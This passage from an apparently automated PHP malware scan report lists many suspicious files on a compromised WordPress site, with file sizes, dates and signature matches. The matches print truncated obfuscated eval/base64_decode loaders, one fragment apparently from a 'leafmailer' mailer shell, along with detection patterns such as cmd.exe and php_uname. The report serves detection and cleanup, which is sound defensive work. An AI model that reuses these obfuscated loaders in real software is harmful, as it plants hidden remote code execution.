<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_188").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/abek2lFnCPI.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_189" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_189").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/xvzod.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:33</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_190" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_190").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/gFcY6Eo2RT8.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_191" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_191").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/1P5gcBv7Uwt.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_192" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_192").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/e42KqOJ3bUV.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_193" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_193").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/ZBJXuAVMU4d.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_194" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_194").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/languages/admin-uk.l10n.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 510.55 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:33</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_195" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">SUHOSIN</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_195").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/UZgbTv5WBya.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_196" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_196").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/mKrERpfNlok.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:17:55</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_197" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
